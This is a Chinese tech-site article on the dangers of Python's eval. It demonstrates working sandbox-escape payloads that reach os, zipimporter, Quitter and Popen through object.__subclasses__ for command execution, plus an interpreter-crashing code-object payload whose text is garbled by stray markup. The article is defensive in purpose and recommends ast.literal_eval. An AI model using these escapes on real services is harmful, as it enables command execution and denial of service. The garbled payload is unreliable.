Python中eval帶來的潛在風險

2015-12-02 11:06:20

開發(fā) 后端

從內(nèi)容我們可以看出，單單將內(nèi)置模塊置為空，是不夠的，最好的機制是構造白名單，如果覺得比較麻煩，可以使用ast.literal_eval代替不安全的eval。

0x00 前言

eval是Python用于執(zhí)行python表達式的一個內(nèi)置函數(shù)，使用eval，可以很方便的將字符串動態(tài)執(zhí)行。比如下列代碼：

>>> eval("1+2")

3

>>> eval("[x for x in range(10)]")

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

當內(nèi)存中的內(nèi)置模塊含有os的話，eval同樣可以做到命令執(zhí)行：

>>> import os

>>> eval("os.system('whoami')")

win-20140812chj\administrator

0

當然，eval只能執(zhí)行Python的表達式類型的代碼，不能直接用它進行import操作，但exec可以。如果非要使用eval進行import，則使用__import__：

>>> exec('import os')

>>> eval('import os')

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

File "<string>", line 1

import os

^

SyntaxError: invalid syntax

>>> eval("__import__('os').system('whoami')")

win-20140812chj\administrator

0

在實際的代碼中，往往有使用客戶端數(shù)據(jù)帶入eval中執(zhí)行的需求。比如動態(tài)模塊的引入，舉個栗子，一個在線爬蟲平臺上爬蟲可能有多個并且位于不同的模塊中，服務器端但往往只需要調用用戶在客戶端選擇的爬蟲類型，并通過后端的exec或者eval進行動態(tài)調用，后端編碼實現(xiàn)非常方便。但如果對用戶的請求處理不恰當，就會造成嚴重的安全漏洞。

0x01 “安全”使用eval

現(xiàn)在提倡最多的就是使用eval的后兩個參數(shù)來設置函數(shù)的白名單：

Eval函數(shù)的聲明為eval(expression[, globals[, locals]])

其中，第二三個參數(shù)分別指定能夠在eval中使用的函數(shù)等，如果不指定，默認為globals()和locals()函數(shù)中包含的模塊和函數(shù)。

>>> import os

>>> 'os' in globals()

True

>>> eval('os.system(\'whoami\')')

win-20140812chj\administrator

0

>>> eval('os.system(\'whoami\')',{},{})

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

File "<string>", line 1, in <module>

NameError: name 'os' is not defined

如果指定只允許調用abs函數(shù)，可以使用下面的寫法：

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})

20

>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

File "<string>", line 1, in <module>

NameError: name 'os' is not defined

>>> eval('os.system(\'whoami\')')

win-20140812chj\administrator

0

使用這種方法來防護，確實可以起到一定的作用，但是，這種處理方法可能會被繞過，從而造成其他問題！

0x02 繞過執(zhí)行代碼1

被繞過的情景如下，小明知道了eval會帶來一定的安全風險，所以使用如下的手段去防止eval執(zhí)行任意代碼：

env = {}

env["locals"] = None

env["globals"] = None

env["__name__"] = None

env["__file__"] = None

env["__builtins__"] = None

eval(users_str, env)

Python中的__builtins__是內(nèi)置模塊，用來設置內(nèi)置函數(shù)的模塊。比如熟悉的abs，open等內(nèi)置函數(shù)，都是在該模塊中以字典的方式存儲的，下面兩種寫法是等價的：

>>> __builtins__.abs(-20)

20

>>> abs(-20)

20

我們也可以自定義內(nèi)置函數(shù)，并像使用Python中的內(nèi)置函數(shù)一樣使用它們：

>>> def hello():

... print 'shabi'

>>> __builtin__.__dict__['say_hello'] = hello

>>> say_hello()

shabi

小明將eval函數(shù)的作用域中的內(nèi)置模塊設置為None，好像看起來很徹底了，但依然可以被繞過。__builtins__是__builtin__的一個引用，在__main__模塊下，兩者是等價的：

>>> id(__builtins__)

3549136

>>> id(__builtin__)

3549136

根據(jù)烏云drops提到的方法，使用如下代碼即可：

1	`[x` `for` `x` `in` `().__class__.__bases__[0].__subclasses__()` `if` `x.__name__` `==` `"zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")`

上面的代碼首先利用__class__和__subclasses__動態(tài)加載了object對象，這是因為eval中無法直接使用object。然后使用object的子類的zipimporter對egg壓縮文件中的configobj模塊進行導入，并調用其內(nèi)置模塊中的os模塊從而實現(xiàn)命令執(zhí)行，當然，前提是要有configobj的egg文件。 configobj模塊很有意思，居然內(nèi)置了os模塊：

>>> "os" in configobj.__dict__

True

>>> import urllib

>>> "os" in urllib.__dict__

True

>>> import urllib2

>>> "os" in urllib2.__dict__

True

>>> configobj.os.system("whoami")

win-20140812chj\administrator

0

和configobj類似的模塊如urllib，urllib2，setuptools等都有os的內(nèi)置，理論上使用哪個都行。如果無法下載egg壓縮文件，可以下載帶有setup.py的文件夾，加入：

1	`from` `setuptools` `import` `setup, find_packages`

然后執(zhí)行:

1	`python setup.py bdist_egg`

就可以在dist文件夾中找到對應的egg文件。繞過demo如下：

>>> env = {}

>>> env["locals"] = None

>>> env["globals"] = None

>>> env["__name__"] = None

>>> env["__file__"] = None

>>> env["__builtins__"] = None

>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"

>>> eval(users_str, env)

win-20140812chj\administrator

0

>>> eval(users_str, {}, {})

win-20140812chj\administrator

0

0x03 拒絕服務攻擊1

object的子類中有很多有趣的東西，執(zhí)行以下代碼查看：

1	`[x.__name__` `for` `x` `in` `().__class__.__bases__[0].__subclasses__()]`

這里我就不輸出結果了，如果你執(zhí)行的話，可以看到很多有趣的模塊，比如file，zipimporter，Quitter等。經(jīng)過測試，file的構造函數(shù)是被解釋器沙箱隔離的。簡單的，或者直接使object暴露出的子類Quitter進行退出：

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__

== 'Quitter'][0](0)()", {'__builtins__':None})

C:/>

如果運氣好，遇到對方程序中導入了os等敏感模塊，那么Popen就可以用，并且繞過__builins__為空的限制，栗子如下：

>>> import subprocess

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})

<subprocess.Popen object at 0x0324FF70>

>>>

正在 Ping 127.0.0.1 具有 32 字節(jié)的數(shù)據(jù):

來自 127.0.0.1 的回復: 字節(jié)=32 時間<1ms TTL=64

127.0.0.1 的 Ping 統(tǒng)計信息:

數(shù)據(jù)包: 已發(fā)送 = 1，已接收 = 1，丟失 = 0 (0% 丟失)，

往返行程的估計時間(以毫秒為單位):

最短 = 0ms，最長 = 0ms，平均 = 0ms

>>>

事實上，這種情況非常多，比如導入os模塊，一般用來處理路徑問題。所以說，遇到這種情況，完全可以列舉大量的功能函數(shù)，來探測目標object的子類中是否含有一些危險的函數(shù)可以直接使用。

0x04 拒絕服務攻擊2

同樣，我們甚至可以繞過__builtins__為None，造成一次拒絕服務攻擊，Payload(來自老外blog)如下：

1	`>>>` `eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})`

運行上面的代碼，Python直接crash掉了，造成拒絕服務攻擊。原理是通過嵌套的lambda來構造一片代碼段，即code對象。為這個code對象分配空的棧，并給出相應的代碼字符串，這里是KABOOM，在空棧上執(zhí)行代碼，會出現(xiàn)crash。構造完成后，調用fc函數(shù)即可觸發(fā)，其思路不可謂不淫蕩。

0x05 總結

從上面的內(nèi)容我們可以看出，單單將內(nèi)置模塊置為空，是不夠的，最好的機制是構造白名單，如果覺得比較麻煩，可以使用ast.literal_eval代替不安全的eval。

參考資料：

【1】http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

【2】http://drops.wooyun.org/web/7490

【3】http://stackoverflow.com/questions/3513292/python-make-eval-safe

責任編輯：王雪燕來源：隱形人真忙

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Python中eval帶來的潛在風險